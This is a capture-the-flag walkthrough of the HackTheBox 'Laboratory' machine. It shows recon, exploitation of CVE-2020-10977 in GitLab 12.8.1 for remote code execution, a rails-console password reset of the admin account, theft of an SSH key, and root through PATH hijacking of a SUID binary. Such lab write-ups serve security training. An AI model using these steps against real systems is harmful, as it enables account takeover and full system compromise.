Laboratory was an easy machine with a direct exploit for the user,but it was hard to exploit in terms of stability. The user shell was clumsy and the git instance returned 502 in between the exploit phase.It had GitLab instance running as a vhost and that was the reason for the name. Dexter from the animated series “Dexter’s Laboratory” was the CEO of the laboratory. The exploit was similar to a currently active box.

The initial phase of the Nmap scan gave three ports.

Nmap scan report for
Host is up (0.20s latency).
Not shown: 65532 filtered ports
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

After adding laboratory.htb to the hosts file, browsing http://laboratory.htb, it was redirected to https://laboratory.htb.Browsing to port 80 with IP also redirects to https://laboratory.htb hackthebox laboratory | htb laboratory

Before doing an enumeration on the page, the SSL certificate was checked.SSL certificate had a DNS name git.laboratory.htb.That was added to the hosts file and resumed examining the laboratory. There were three testimonials from dexter, dee dee, and the anonymous hacking group. Apart from that, index page had no information regarding any exploit or path to the user.

Since a vhost was added to the hosts file, directory bruteforcing was skipped, and browsing the git.laboratory.htb responded with a GitLab login page.GitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking, and continuous integration and deployment pipeline features, using an open-source license, developed by GitLab Inc. The page had both login and register functionalities, but registration was limited to laboratory.htb users only. The account was created using an email address under the laboratory domain ([email protected]).

Logging in to Gitlab was not helpful, the new user had no groups, projects, or any documentation for the internal team. Navigating around the application, the exact version was spotted( 12.8.1 ).Gitlab always has exploits taking a seat in the internet and HackerOne. The version had an arbitary read file vulnerability assigned with CVE-2020-10977.An RCE was possible by getting the secret_key_base from /opt/gitlab/embedded/service/gitlab- rails/config/secrets.yml as mentioned in the CVE.Searching the internet for public exploits revealed there were two exploits available, a Metasploit module and a python exploit in Github. Getting the shell with the python exploit was easy, when compared to filling out the options in Metasploit.

$ python3 https://git.laboratory.htb <attacking-IP>

The shell was not interactive and upgrading the shell failed, it was opened at /var/opt/gitlab/gitlab-rails/working as user git inside a docker environment. The shell had limited privileges and escalating the privileges was required to move forward.This might feel a bit difficult if you are not familiar with the GitLab configuration. Since dexter was the CEO the user has to be dexter but there were no files or folders available in the directory. Gitlab has a console that can be used to reset the password of a user. An archived documentation was available at Gitlab docs. But the shell was not stable and the GitLab instance returned 502 frequently. Getting a shell was easy but changing the password using the console was tedious.Considering the dangling shell ,exploitation was moved to Metasploit : exploit/multi/http/gitlab_file_read_rce. After getting a shell in Metasploit the password was reset using the console.

gitlab-rails console -e production
GitLab:       12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL:   10.12
user = User.find_by(email: '[email protected]')
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
user = User.find_by(email: '[email protected]')
user = User.find_by_username 'dexter'
user = User.find_by_username 'dexter'
#<User id:1 @dexter>
user.password = 'secret_pass'
user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
Enqueued ActionMailer::DeliveryJob (Job ID: e9bb3b31-a5b0-40f2-be0b-05565f46e641) 
to Sidekiq(mailers) with arguments: 
"DeviseMailer", "password_change", "deliver_now",
#<GlobalID:0x00007f10f1ece448 @uri=#<URI::GID gid://gitlab/User/1>>

The password reset was successful, using the above credentials GitLab was accessed. There were two projects available in the dashboard.

 hackthebox laboratory | htb laboratory

The second project had confidential and personal stuff as mentioned in the project description. An SSH key for the user dexter was located at https://git.laboratory.htb/dexter/securedocker/-/tree/master/dexter/.ssh.After copying the SSH key to the attacking machine, the permission was changed to 400. SSH access to machine as user dexter had the privileges to read the user.txt.

$ chmod 400 id_rsa
$ ssh -i id_rsa [email protected]

Pre linpeas checks were done, checking the groups and hidden files, since it was accessed using SSH Sudo privileges had no role. There was a reference about securedocker in dexter’s project, considering that, files with SUID permission were listed.

dexter@laboratory:~$ find / -perm -u=s -type f 2>/dev/null

The result had a custom bin file named docker-security . Strings was not installed in the machine, the file was transferred to the attacking machine using Netcat.

Attacking machine

$ nc -lvnp 1234 > docker-security


dexter@laboratory:~$ nc -w 3 1234 < /usr/local/bin/docker-security

Using the strings command, strings included in the file were listed. There were lots of strings but one chmod made a potential match for privilege escalation, because chmod was executed using a relative path.

$ strings docker-security
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock
GCC: (Debian 10.1.0-6) 10.1.0

The escalation part was easy, create a chmod executable and export its path. In Linux, the shell looks for the requested executable in $PATH, then runs the first match. A chmod file was created in /tmp, changed the mode to executable, and exported the path./bin/bash was added to the chmod file for escalating the privileges. Laboratory was rooted by running the docker-security.

dexter@laboratory:/tmp$ nano chmod
dexter@laboratory:/tmp$ chmod +x chmod
dexter@laboratory:/tmp$ export PATH=/tmp/:$PATH
dexter@laboratory:~$ /usr/local/bin/./docker-security